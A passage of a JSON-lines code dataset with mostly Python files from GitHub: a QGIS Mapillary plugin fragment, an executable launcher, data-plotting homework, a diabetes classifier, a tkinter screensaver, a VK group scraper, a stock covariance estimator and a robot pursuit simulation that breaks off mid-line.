complete')\r\n\r\n\r\n for level in LAYER_LEVELS:\r\n geojson_file = os.path.join(self.cache_dir, \"mapillary_%s.geojson\" % level)\r\n try:\r\n QgsProject.instance().removeMapLayer(getattr(self, level+'Layer').id())\r\n except:\r\n pass\r\n if locals()[level+'_features']:\r\n setattr(self,level,True)\r\n geojson = {\r\n \"type\": \"FeatureCollection\",\r\n \"features\": locals()[level+'_features']\r\n }\r\n\r\n with open(geojson_file, 'w') as outfile:\r\n json.dump(geojson, outfile)\r\n defLyr = QgsVectorLayer(os.path.join(self.cache_dir, 'mapillary_%s.geojson' % level),\"Mapillary \" + level, \"ogr\")\r\n defLyr.loadNamedStyle(os.path.join(os.path.dirname(__file__), \"res\", \"mapillary_%s.qml\" % level))\r\n QgsExpressionContextUtils.setLayerVariable(defLyr, \"mapillaryCurrentKey\", self.module.viewer.locationKey)\r\n defLyr.setCrs(QgsCoordinateReferenceSystem(4326))\r\n QgsProject.instance().addMapLayer(defLyr)\r\n self.iface.addCustomActionForLayerType(getattr(self.module,'filterAction_'+level), None, QgsMapLayer.VectorLayer, allLayers=False)\r\n self.module.filterDialog.applySqlFilter(layer=defLyr)\r\n self.iface.addCustomActionForLayer(getattr(self.module,'filterAction_'+level), defLyr)\r\n legendLayerNode = QgsProject.instance().layerTreeRoot().findLayer(defLyr.id())\r\n legendLayerNode.setExpanded(False)\r\n defLyr.setDisplayExpression('\"key\"')\r\n setattr(self, level + 'Layer', defLyr)\r\n else:\r\n setattr(self, level, False)\r\n\r\n else:\r\n pass\r\n #print (\"SAME RANGES\")\r\n\r\n def has_overview(self):\r\n return self.overview\r\n\r\n def has_sequences(self):\r\n return self.sequences\r\n\r\n def has_images(self):\r\n return self.images\r\n\r\n def removeLevels(self):\r\n for level in LAYER_LEVELS:\r\n try:\r\n QgsProject.instance().removeMapLayer(getattr(self, level + 'Layer').id())\r\n except:\r\n pass\r\n self.iface.mapCanvas().refresh()\r\n\r\n def getActiveLevels(self):\r\n activeLevels = {}\r\n for level in LAYER_LEVELS:\r\n if hasattr(self,level) and getattr(self,level):\r\n activeLevels[level] = getattr(self, level+'Layer')\r\n return activeLevels\r\n\r\n def getActiveLayers(self):\r\n levels = []\r\n for level in LAYER_LEVELS:\r\n if hasattr(self,level) and getattr(self,level):\r\n levels.append(getattr(self, level+'Layer'))\r\n return levels\r\n\r\n def update_coverage(self, force=None):\r\n self.download_tiles(force=force)\r\n return self.getActiveLevels()\r\n","repo_name":"enricofer/go2mapillary","sub_path":"mapillary_coverage.py","file_name":"mapillary_coverage.py","file_ext":"py","file_size_in_byte":15528,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"60"} +{"seq_id":"8205857394","text":"import os\r\nimport sys\r\n\r\n# Get the directory path of the running executable\r\ncurrent_dir = os.path.dirname(os.path.abspath(sys.executable))\r\n\r\n# Specify the folder and file names\r\nfolder_name = \"App\"\r\nfile_name = \"ClockOut.exe\"\r\n\r\n# Build the path to the file\r\nfile_path = os.path.join(current_dir, folder_name, file_name)\r\n\r\n# Check if the folder and file exist\r\nif os.path.isdir(os.path.join(current_dir, folder_name)) and os.path.isfile(file_path):\r\n # Change the current working directory to the specified folder\r\n os.chdir(os.path.join(current_dir, folder_name))\r\n \r\n # Execute the specified file\r\n os.startfile(file_name)\r\nelse:\r\n print(\"Folder or file not found.\")\r\n","repo_name":"TechWhizKid/ClockOut","sub_path":"ClockOutLauncher.py","file_name":"ClockOutLauncher.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"1725528879","text":"# Створіть DataFrame з ім'ям \"students\", який містить такі стовпці:\n# \"Name\" (ім'я студента)\n# \"Age\" (вік студента)\n# \"Gender\" (стать студента)\n# \"Score\" (оцінка студента за певний предмет)\n# Підготуйте дані для графіку (наприклад, кількість продаж за місяць або результати тестування студентів).\n# Використовуючи бібліотеку Matplotlib, створіть графік для відображення цих даних.\n# Виберіть відповідний тип графіку (лінійний, стовпчиковий, круговий тощо), підпишіть осі, додайте заголовок та легенду. +\n\n# Виведіть перші 5 рядків з DataFrame \"students\". +\n\n# Створіть графік для відображення залежності між двома змінними.\n# Наприклад, це може бути діаграма розсіювання (scatter plot), де по одній вісі буде відображена одна змінна, а по іншій - інша змінна.\n# Додайте легенду та підпишіть осі. +\n\n# Створіть графік для відображення категоріальних даних, наприклад, розподілу кількості об'єктів за певною категорією.\n# Використайте стовпчиковий графік або кругову діаграму для цього завдання.\n# Підпишіть категорії, осі та додайте заголовок.\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nstudents = {\n 'Name': ['John', 'Stacy', 'Maks', 'Anna',],\n 'Age': [17, 18, 17, 19,],\n 'Gender': ['male', 'female', 'male', 'female',],\n 'english_score': [93, 82, 78, 80,],\n }\n\ndef work_with_dict():\n df = pd.DataFrame(students)\n\ndef get_score():\n df = pd.DataFrame(students)\n name = df['Name']\n grade = df['english_score']\n\n plt.plot(name, grade)\n plt.xlabel(\"І'мя учня\")\n plt.ylabel('Оцінка анг.')\n plt.title('Результат за 2 четверть')\n\n plt.legend()\n plt.show()\n\n# get_score()\n\ndef students_inf():\n df = pd.DataFrame(students)\n print(df[:5])\n\n# students_inf()\n\ndef scater():\n df = pd.DataFrame(students)\n name = df['Name']\n grade = df['english_score']\n\n colors = np.array([\"red\",\"green\",\"blue\",\"yellow\",])\n plt.scatter(name, grade, c=colors, alpha=0.5, s=300) # додав s для збільшення розміру точок\n plt.xlabel(\"Ім'я учня\")\n plt.ylabel('Оцінка')\n\n plt.title('Результати учнів з англійської')\n # plt.legend()\n plt.colorbar()\n plt.show()\n\n# scater()\n\ndef categories():\n category = ['Категорія 1', 'Категорія 2', 'Категорія 3', 'Категорія 4']\n object = [5, 41, 60, 23]\n\n plt.pie(object ,labels=category)\n plt.title(\"Категорії по об'єктам\")\n plt.legend()\n plt.show()\n\ncategories()\n\n","repo_name":"Maksym-com/homework_19","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11660898684","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nfrom graphdot.codegen.typetool import common_concrete_type, common_min_type\n\n\nclass Series(np.ndarray):\n '''A thin wrapper to customize serialization behavior'''\n def __new__(cls, input):\n if isinstance(input, np.ndarray):\n series = input.view(cls)\n if np.issctype(series.dtype):\n series._concrete_type = series.dtype\n else:\n series._concrete_type = common_concrete_type.of_values(input)\n else:\n t = common_min_type.of_values(input)\n dtype = np.dtype(t) if np.issctype(t) else np.dtype(np.object)\n series = np.empty(len(input), dtype=dtype).view(cls) # ensures 1D\n series[:] = input\n series._concrete_type = t\n return series\n\n def __repr__(self):\n return np.array2string(self, separator=',', max_line_width=1e20)\n\n @property\n def concrete_type(self):\n return self._concrete_type\n\n def __reduce__(self):\n recon, args, state = super(Series, self).__reduce__()\n return (recon, args, (state, self.__dict__))\n\n def __setstate__(self, states):\n state, dict_ = states\n self.__dict__.update(**dict_)\n super(Series, self).__setstate__(state)\n","repo_name":"yhtang/GraphDot","sub_path":"graphdot/minipandas/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"} +{"seq_id":"11516442998","text":"# -- coding: utf-8 --\n# Double-Ended Queue to Perform a BFS to Sum Nodes in a Tree\n# 用双端队列 利用BFS 求一个树的所有节点的和\n# 主要介绍和使用双端队列\n\nfrom collections import deque\n\nclass Node:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \n def addLeftChild(self, val):\n newNode = Node(val)\n self.left = newNode\n return newNode\n \n def addRightChild(self, val):\n newNode = Node(val)\n self.right = newNode\n return newNode\n\ndef bfsSum(root):\n if root is None:\n return 0 \n ans = 0\n dq = deque()\n dq.append(root)\n while len(dq) > 0:\n p = dq.popleft() # 如果是用list pop（0）时间复杂度是O(N) 而这里是O(1)\n ans += p.val\n if p.left:\n dq.append(p.left)\n if p.right:\n dq.append(p.right)\n return ans\n\nroot = Node(1)\nroot.addLeftChild(2)\nright = root.addRightChild(3)\nright.addLeftChild(4)\nright.addRightChild(5)\n\nprint(bfsSum(root))","repo_name":"Ander456/py_program","sub_path":"day51.py","file_name":"day51.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10656764652","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport pickle \nfrom sklearn.metrics import accuracy_score ,confusion_matrix\nfrom sklearn.naive_bayes import GaussianNB\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nfrom sklearn.model_selection import train_test_split\nfrom os.path import isfile\n\n\n# In[2]:\n\n\ndata = pd.read_csv('diabetes.csv')\ndata.head()\n\n\n# In[3]:\n\n\ndata.dtypes\n\n\n# In[4]:\n\n\nX = data.drop(columns='Outcome')\ny = data['Outcome']\n\n\n# In[5]:\n\n\nmodel = GaussianNB()\nfile_name = 'diabetes_model.pickle'\ntop_acc = 0\nif not isfile(file_name):\n for i in range(50):\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n \n model.fit(X_train, y_train) \n\n predictions = model.predict(X_test)\n acc = accuracy_score(y_test, predictions)\n print('Current Accuracy : ', acc)\n if acc > top_acc:\n top_acc = acc\n with open(file_name, 'wb') as file:\n pickle.dump(model, file)\n \nelse:\n with open(file_name, 'rb') as file:\n model = pickle.load(file) \n\n\n# In[6]:\n\n\nprint('''\n Diabetes Classifier\n ---------------------------\n Please enter the characteristics of the patient you want to predict.\n \n NOTICE:\n Please make sure that you've read the data description clearly before you enter any values.\n \n -------------------------------------------------------------------------------------------------\n Pregnancies: Number of times pregnant\n Glucose: Plasma glucose concentration a 2 hours in an oral glucose tolerance test\n BloodPressure: Diastolic blood pressure (mm Hg)\n SkinThickness: Triceps skin fold thickness (mm)\n Insulin: 2-Hour serum insulin (mu U/ml)\n BMI: Body mass index (weight in kg/(height in m)^2)\n DiabetesPedigreeFunction: Diabetes pedigree function\n Age: Age (years)\n Outcome: Class variable (0 or 1)\n''')\n\n\npregnancies = int(input(\"Enter number of times pregnant:\"))\nglucose = int(input(\"Enter concentration of Glucose:\"))\nblood_pressure = int(input(\"Enter Blood Pressure :\"))\nskin_thickness = int(input(\"Enter Skin Thickness :\"))\ninsulin = int(input(\"Enter Insulin :\"))\nbmi = float(input(\"Enter BMI (Body Mass Index :\"))\ndiabetes_pedigree_function = float(input(\"Enter Diabetes Pedigree value :\"))\nage = int(input(\"Enter age of the patient :\"))\n\nfeatures_of_patient = np.array([pregnancies, glucose, blood_pressure, skin_thickness , insulin , bmi , diabetes_pedigree_function , age])\npredictions = model.predict([features_of_patient])\nprint('------------------------')\nif predictions == 1 :\n print(\"Unfortunately this patient has diabetes.\") \nelse:\n print(\"Wow! A clean bill of health\") \n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"jamal022/Diabetes-Prediction","sub_path":"assignment_day6.py","file_name":"assignment_day6.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"757341546","text":"import random\nimport tkinter\n\n\nclass RandomBall():\n '''\n 定义运动的球的类\n '''\n\n def __init__(self, canvas, scrnwidth, scrnheight):\n '''\n canvas: 画布，所有的内容都应该在画布上呈现出来，此处通过此变量传入\n scrnwidth/scrnheigh:屏幕宽高\n '''\n # 初始化画布\n self.canvas = canvas\n # 球出现的初始位置要随机，此处位置表示的球的圆心\n # xpos表示位置的x坐标\n self.xpos = random.randint(10, int(scrnwidth) - 20)\n self.ypos = random.randint(10, int(scrnheight) - 20)\n # 定义球运动的速度\n # 模拟运动：不断的擦掉原来画，然后在一个新的地方再从新绘制\n # 此处x_move模拟x轴方向运动\n self.x_move = random.randint(4, 20)\n self.y_move = random.randint(4, 20)\n # 定义屏幕的大小\n self.scrnwidth = scrnwidth\n self.scrnheight = scrnheight\n # 球的大小随机,用半径表示\n self.radius = random.randint(20, 120)\n\n # 定义颜色\n # RGB表示法：三个数字，每个数字的值是0-255之间，表示红绿蓝三个颜色的大小\n # 在某些系统中，之间用英文单词表示也可以，比如red, green\n # 此处用lambda表达式\n c = lambda: random.randint(0, 255)\n self.color = '#%02x%02x%02x' % (c(), c(), c())\n\n def create_ball(self):\n '''\n 用构造函数定义的变量值,在canvas上画一个球\n '''\n # tkinter没有画圆形函数\n # 只有一个画椭圆函数，画椭圆需要定义两个坐标，\n # 在一个长方形内画椭圆，我们只需要定义长方形左上角和右下角就好\n # 求两个坐标的方法是，已知圆心的坐标，则圆心坐标减去半径能求出\n # 左上角坐标，加上半径能求出右下角坐标\n x1 = self.xpos - self.radius\n y1 = self.ypos - self.radius\n x2 = self.xpos + self.radius\n y2 = self.ypos + self.radius\n # 再有两个对角坐标的前提下，可以进行画圆\n # fill表示填充颜色\n # outline是外围边框颜色\n self.item = self.canvas.create_oval(x1, y1, x2, y2, \\\n fill=self.color, \\\n outline=self.color)\n\n def move_ball(self):\n # 移动球的时候，需要控制球的方向\n # 每次移动后，球都有一个新的坐标\n self.xpos += self.x_move\n # 同理计算ypos\n self.ypos += self.y_move\n # 以下判断是会否撞墙\n # 撞了南墙就要回头\n # 注意撞墙的算法判断\n if self.xpos >= self.scrnwidth - self.radius:\n self.x_move = -self.x_move\n if self.ypos >= self.scrnheight - self.radius:\n self.y_move = -self.y_move\n if self.xpos < self.radius:\n self.x_move = abs(self.x_move)\n if self.ypos < self.radius:\n self.y_move = abs(self.y_move)\n\n\n # 在画布上挪动图画\n self.canvas.move(self.item, self.x_move, self.y_move)\n\n\nclass ScreenSaver():\n '''\n 定义屏保的类\n 可以被启动\n '''\n # 如何装随机产生的球？\n balls = []\n\n def __init__(self):\n # 每次启动球的数量随机\n self.num_balls = random.randint(6, 10)\n\n self.win = tkinter.Tk()\n self.width = self.win.winfo_screenwidth()\n self.height = self.win.winfo_screenheight()\n # 取消边框\n self.win.overrideredirect(1)\n #######################self.win.attributes('-alpha', 0.3)\n # 任何鼠标移动都需要取消\n self.win.bind('', self.myquit)\n # 按动任何键盘都需要退出屏保\n self.win.bind('', self.myquit)\n\n # 创建画布，包括画布的归属，规格\n self.canvas = tkinter.Canvas(self.win, width=self.width, height=self.height)\n self.canvas.pack()\n\n # 在画布上画球\n for i in range(self.num_balls):\n ball = RandomBall(self.canvas, scrnwidth=self.width, scrnheight=self.height)\n ball.create_ball()\n self.balls.append(ball)\n\n self.run_screen_saver()\n self.win.mainloop()\n\n def run_screen_saver(self):\n for ball in self.balls:\n ball.move_ball()\n\n # after是200毫秒后启动一个函数，需要启动的函数是第二个参数\n self.canvas.after(99, self.run_screen_saver)\n\n def myquit(self, event):\n # 此处只是利用了事件处理机制\n # 实际上并不关心事件的类型\n # 作业：\n # 此屏保程序扩展成，一旦捕获事件，则判断屏保不退出\n # 显示一个Button，Ｂｕｔｔｏｎ上显示事件类型，点击Ｂｕｔｔｏｎ后屏保\n # 才退出\n self.win.destroy()\n'''\ndef main():\n ScreenSaver(6)\n'''\nif __name__ == \"__main__\":\n # 启动屏保\n ScreenSaver()","repo_name":"duanzhijianpanxia/myPython","sub_path":"myPython/Tkinter/项目_屏保/屏保.py","file_name":"屏保.py","file_ext":"py","file_size_in_byte":5054,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24509323223","text":"from django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\nfrom hotels.views import HotelViewSet, HotelLikesViewSet, HotelReviewViewSet, HotelRoomViewSet, \\\n HotelFavoritesViewSet\nfrom account.views import UserViewSet, ProfileViewSet\nfrom order.views import CartViewSet, OrderViewSet\nfrom .yasg import urlpatterns as doc_urls\n\nrouter = DefaultRouter()\nrouter.register('reviews', HotelReviewViewSet)\nrouter.register('hotels', HotelViewSet)\nrouter.register('likes', HotelLikesViewSet)\nrouter.register('users', UserViewSet, basename='User')\nrouter.register('profile', ProfileViewSet, basename='User')\nrouter.register('rooms', HotelRoomViewSet)\nrouter.register('order', OrderViewSet, basename='Order')\nrouter.register('cart', CartViewSet, basename='Cart')\nrouter.register('favorites', HotelFavoritesViewSet, basename='HotelFavorites')\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('api/v1/', include(router.urls)),\n path('api/v1/', include('account.urls')),\n]\n\nurlpatterns += doc_urls\n","repo_name":"Hope-for-luck/Hotel-booking","sub_path":"CRM_system/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33568893525","text":"import argparse\nimport copy\nimport errno\nimport logging\nimport os\nimport re\nfrom difflib import SequenceMatcher\nfrom typing import List\n\nimport pandas as pd\nimport scrapy\nimport scrapy.crawler as crawler\nimport vk\nfrom goose3 import Goose\nfrom scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor\nfrom tqdm import tqdm\n\n\ndef ask_user(question: str) -> bool:\n response = input(question + ' y/n' + '\\n')\n return response == 'y'\n\n\ndef create_file(path: str) -> None:\n response = False\n try:\n os.makedirs(path, mode=0o777)\n except OSError as error:\n if error.errno != errno.EEXIST:\n raise\n response = ask_user('File already exists, replace?')\n if response:\n with open(path, 'wb') as file:\n file.close()\n\n\ndef search_vk_groups(request: str, vk_token: str, stop_urls: List[str] = []) -> List[str]:\n session = vk.Session(access_token=vk_token)\n vk_api = vk.API(session)\n\n count = 500\n moscow_id = 1\n res = vk_api.groups.search(v=6.0, q=request,\n type='group',\n city_id=moscow_id,\n count=count)\n\n urls = []\n for item in res['items'][:min(count, res['count'])]:\n group_id = item['id']\n\n info = vk_api.groups.getById(v=6.0, group_id=group_id, fields=['links', 'site'])[0]\n\n if 'site' in list(info.keys()):\n if info['site'] != '':\n is_rejected = False\n for url in stop_urls:\n if url in info['site']:\n is_rejected = True\n break\n \n if not is_rejected:\n urls.append(info['site'])\n\n return urls\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Parsing data from given sites')\n parser.add_argument('input', type=str, help='Input data with urls column\\\n named \\\"Сайт\\\"')\n parser.add_argument('output', type=str, help='Filename for output data')\n parser.add_argument(\n '-t',\n '--vk_token',\n default='',\n help='VK token for parsing data from https://vk.com/'\n )\n\n stop_words = ['yandex', 'twitter', 'youtube',\n 'zoon', 'zoom', 'news', 'vk.com', 'facebook',\n 'vkontakte.ru',\n 'instagram', 'tripadvisor', 'fb', 'avito',\n 'pikabu', 'pinterest', 'ebay']\n\n key_words = ['', 'школа', 'секция', 'хобби', 'студия',\n 'уроки', 'занятия', 'учёба', 'обучение',\n 'тренировки', 'тренинг', 'мастер класс', 'класс', \n 'тренер']\n\n\n args = parser.parse_args()\n\n vk_token = args.vk_token\n categories = pd.read_csv(args.input)\n\n urls = []\n for category in tqdm(categories.categ):\n for key_word in key_words:\n request = category + ' ' + key_word\n urls += search_vk_groups(request, vk_token, stop_words)\n\n urls = list(set(urls))\n\n print(len(urls))\n urls = pd.DataFrame(urls, columns=['urls'])\n\n create_file(args.output)\n urls.to_csv(args.output)\n","repo_name":"polgrisha/Devops_ML_Team","sub_path":"project/web-scraper/searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14671059885","text":"import numpy as np\nfrom random import random\nfrom scipy.interpolate import pchip_interpolate\nimport matplotlib.pyplot as plt\n\n\n#####################\n# STEP 1 # import the data\n#####################\n\n# uncomment for a toy example\n#n=5 # problem size\n#A = 10*np.random.rand(n,n+3) # n stocks with n+3 different prices\n#A = np.abs(A)\n\n\n# load the data: it must be pre-processed - 9:00AM-3:30PM prices - about 62 obs.\nA = np.transpose( np.loadtxt('data.txt') ) # it is a tiny example\nprint('There are ', A.shape[0], ' stocks and ',A.shape[1],'observations.')\nstock_number = A.shape[0]\n# Important : the rows represent each stock and the columns represent prices at certain moment\n\n\n#####################\n# STEP 2 # interpolate\n#####################\n\n### toy example 1\n#data = np.array([[0, 4, 12, 27, 47, 60, 79, 87, 99, 100], [-33, -33, -19, -2, 12, 26, 38, 45, 53, 55]])\n#xx = np.linspace(0,100,200)\n#curve = pchip_interpolate(data[0], data[1],xx)\n#plt.plot(xx, curve, \"x\"); #plt.plot(data[0],data[1],\"o\"); #plt.show()\n\n\n### toy example 2\n#x = np.arange(A.shape[1])\n#m = 200 # number of the final data points\n#xx = np.linspace(0,x[-1],200)\n#curve1 = pchip_interpolate(x , A[0,:], xx)\n#print(curve1.shape, type(curve1)) ; #plt.plot(xx, curve1, \"x\"); #plt.plot(x,A[0,:],\"o\") ;#plt.show()\n\nm = 200\ncurve_save = np.zeros((stock_number,m)) # array created to save the interpolated data\nfor ii in range(stock_number): # loop through each stock\n x = np.arange(A.shape[1]) # the prices\n m = 200 # number of the final data points\n xx = np.linspace(0, x[-1], 200) # filling the mappings of these points via interpolation\n curve = pchip_interpolate(x, A[ii, :], xx) # interpolate\n curve_save[ii,:] = curve # saving the interpolated points\n\nA = curve_save # this is now the NEW data\n\n#####################\n# STEP 3 # get the scaling factor c - this needs history of opening and closing prices\n#####################\n\n\n\n# getting c -- these need the correct data\nopen_price = A[:,0] # open price of each stock for the entire period\nclose_price = A[:,-1] # closing price of each stock for the entire period\n#### must get the right variance\nvar_oc = np.abs(np.random.rand( stock_number)) # artifically created\nvar_co = np.abs(np.random.rand( stock_number)) # artifically created\nc = 1 + np.divide(var_oc,var_co) # compute the scaling factor c\n\n\n\n#####################\n# STEP 4 # obtain the log return\n#####################\n\n\n# obtain the log return\nP_pre = A[:,0:A.shape[1]-1] # denominator, truncate the last price\nP_next = A[:,1:A.shape[1]] # numerator, truncate the first price\nr_tilde = np.log( np.divide(P_next,P_pre) )\n\n\n\n#####################\n# STEP 5 # obtain the daily convariance from the intra-day return\n#####################\n\n# obtain the daily convariance from the intra-day return\nSigmasum = np.zeros(A.shape[0])\nfor ii in range(r_tilde.shape[1]):\n r_hat = np.multiply( np.sqrt(c), r_tilde[:,ii])\n S = np.transpose(np.asmatrix(r_hat)) * np.asmatrix(r_hat)\n Sigmasum = Sigmasum + S\n\n\n#print(Sigmasum)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"RenYuanXue/Hierarchical-Portfolio-Construction","sub_path":"Supplied-code/CovarianceEstimator.py","file_name":"CovarianceEstimator.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12632529379","text":"\"\"\"Default attributes for model classes.\"\"\"\n\nfrom typing import Any\n\nfrom shared_data_model import DATA_MODEL\n\n\ndef default_source_parameters(metric_type: str, source_type: str):\n \"\"\"Return the source parameters with their default values for the specified metric.\"\"\"\n parameters = DATA_MODEL.sources[source_type].parameters.items()\n return {key: value.default_value for key, value in parameters if metric_type in value.metrics}\n\n\ndef default_metric_attributes(metric_type: str):\n \"\"\"Return the metric attributes with their default values for the specified metric type.\"\"\"\n metric = DATA_MODEL.metrics[metric_type]\n return {\n \"type\": metric_type,\n \"sources\": {},\n \"name\": None,\n \"scale\": metric.default_scale,\n \"unit\": None,\n \"addition\": metric.addition,\n \"accept_debt\": False,\n \"debt_target\": None,\n \"direction\": None,\n \"target\": metric.target,\n \"near_target\": metric.near_target,\n \"tags\": metric.tags,\n }\n\n\ndef default_subject_attributes(subject_type: str) -> dict[str, Any]:\n \"\"\"Return the default attributes for the subject.\"\"\"\n subject = DATA_MODEL.subjects[subject_type]\n return {\"type\": subject_type, \"name\": None, \"description\": subject.description, \"metrics\": {}}\n","repo_name":"ICTU/quality-time","sub_path":"components/api_server/src/model/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"60"} +{"seq_id":"28406113642","text":"################################################################################\n# robotData.py #\n# #\n# The main class for the robot (and target 'bot). Maintains the current and #\n# predictive measurements. #\n# #\n# Project #2: Mobile Robot Path Planning Using Artificial Potential Field #\n# CPE 470 Fall 2016 #\n# Brittany McGarr #\n################################################################################\n\nimport math\nimport numpy\nimport numpy.linalg\nimport matplotlib.pyplot as plot\nimport matplotlib.patches as patches\n\n\nclass RobotData:\n\n # Constructor and initialization of data\n def __init__(self, iterate=100):\n self.deltaTime = 0.05\n self.attractFactor = 8.5\n self.iterations = iterate\n\n # Target Data\n self.targetMaxVelocity = 1.2\n self.targetPositions = numpy.zeros((self.iterations, 2))\n self.targetHeadings = numpy.zeros((self.iterations, 1))\n\n # Robot Data\n self.robotMaxVelocity = 50\n self.robotPositions = numpy.zeros((self.iterations, 2))\n self.robotVelocities = numpy.zeros((self.iterations, 1))\n self.robotHeadings = numpy.zeros((self.iterations, 1))\n\n # Initialize relative states between robot and target\n self.relativePositions = numpy.zeros((self.iterations, 2))\n self.relativePosAbsolute = numpy.zeros((self.iterations, 2))\n self.relativeVelocities = numpy.zeros((self.iterations, 2))\n self.relativeHeadings = numpy.zeros((self.iterations, 1))\n\n # Noise relative parameters\n self.noiseMean = 0.5\n self.noiseSTD = 0.1\n\n # Initialize the target's values\n self.targetPositions[0, 0] = 60 - 15 * numpy.cos(0.0)\n self.targetPositions[0, 1] = 30 + 15 * numpy.sin(0.0)\n\n def setTargetPositionCircular(self, index, timestep):\n self.targetPositions[index, 0] = 60 - 15 * numpy.cos(timestep)\n self.targetPositions[index, 1] = 30 + 15 * numpy.sin(timestep)\n\n def setTargetPositionLinear(self, index):\n self.targetPositions[index, 0] = self.targetPositions[index - 1, 0] + self.targetMaxVelocity * self.deltaTime\n self.targetPositions[index, 1] = self.targetPositions[index - 1, 1] + self.targetMaxVelocity * self.deltaTime\n\n def setTargetPositionSine(self, index, timestep):\n self.targetPositions[index, 0] = self.targetPositions[index - 1, 0] + self.targetMaxVelocity * self.deltaTime\n self.targetPositions[index, 1] = self.targetPositions[index - 1, 1] + self.targetMaxVelocity * numpy.sin(timestep)\n\n def runSimulation(self, path=\"\", noise=False):\n timestep = 0.0\n\n targetPath = path\n\n if path == \"\":\n targetPath = \"line\"\n\n if noise:\n targetPath += \"Noisy\"\n\n # Run the simulation for each time step\n for index in range(1, self.iterations):\n timestep += self.deltaTime\n\n # Advance the time step\n # Find the new target position based on the time step\n if path == \"circle\":\n self.setTargetPositionCircular(index=index, timestep=timestep)\n elif path == \"sin\":\n self.setTargetPositionSine(index=index, timestep=timestep)\n else:\n self.setTargetPositionLinear(index=index)\n\n if noise:\n self.addNoise(index)\n\n targetX = self.targetPositions[index, 0]\n targetY = self.targetPositions[index, 1]\n\n # Set the target heading\n self.targetHeadings[index, 0] = math.atan2(targetY, targetX)\n\n # Compute the relative position of the virtual target and robot\n self.relativePositions[index, 0] = targetX - self.robotPositions[index-1, 0]\n self.relativePositions[index, 1] = targetY - self.robotPositions[index-1, 1]\n\n relativePositionX = self.relativePositions[index, 0]\n relativePositionY = self.relativePositions[index, 1]\n\n # Store the absolute distance values for plotting\n self.relativePosAbsolute[index, 1] = numpy.max([math.fabs(relativePositionX), math.fabs(relativePositionY)])\n self.relativePosAbsolute[index, 0] = index\n\n # Compute the relative heading of the virtual target and robot\n self.relativeHeadings[index, 0] = math.atan2(relativePositionY, relativePositionX)\n\n relativeHeading = self.relativeHeadings[index, 0]\n\n # Control and record the velocity and heading of the robot\n targetPosMag = numpy.linalg.norm(self.targetPositions[index])\n targetPosMagSqr = targetPosMag * targetPosMag\n robotPosMag = numpy.linalg.norm(self.robotPositions[index-1])\n relativePosMag = numpy.linalg.norm(self.relativePositions[index])\n relativePosMagSqr = relativePosMag * relativePosMag\n\n self.robotVelocities[index, 0] = math.sqrt((self.targetMaxVelocity * self.targetMaxVelocity) +\n 2 * self.attractFactor * relativePosMag *\n self.targetMaxVelocity *\n math.fabs(numpy.cos(self.targetHeadings[index, 0] -\n relativeHeading)) +\n (self.attractFactor * self.attractFactor) * relativePosMagSqr)\n\n # Maintain a maximal velocity\n if self.robotVelocities[index, 0] > self.robotMaxVelocity:\n self.robotVelocities[index, 0] = self.robotMaxVelocity\n\n if robotPosMag > 0.0 and robotPosMag >= self.targetMaxVelocity:\n arcsinValue = self.targetMaxVelocity * numpy.sin(self.targetHeadings[index, 0] - relativeHeading) / robotPosMag\n self.robotHeadings[index, 0] = relativeHeading + numpy.arcsin(arcsinValue)\n else:\n self.robotHeadings[index, 0] = relativeHeading + numpy.arcsin(0.0)\n\n # Update the robot's X and Y velocities\n velocityX = self.robotVelocities[index, 0] * numpy.cos(self.robotHeadings[index, 0])\n velocityY = self.robotVelocities[index, 0] * numpy.sin(self.robotHeadings[index, 0])\n\n # Give the robot its new position\n self.robotPositions[index, 0] = self.robotPositions[index-1, 0] + velocityX * self.deltaTime\n self.robotPositions[index, 1] = self.robotPositions[index-1, 1] + velocityY * self.deltaTime\n\n # Print the maps based on this set of data\n self.printGraphs(targetPath)\n\n def addNoise(self, index):\n noise = self.noiseSTD * numpy.random.randn(1, 2)\n self.targetPositions[index, 0] += noise[0, 0]\n self.targetPositions[index, 1] += noise[0, 1]\n\n def printGraphs(self, path):\n # Create the legend patches\n targetPatch = patches.Patch(color='red', label=\"Target Path\")\n robotPatch = patches.Patch(color='green', label=\"Robot Path\")\n relativePatch = 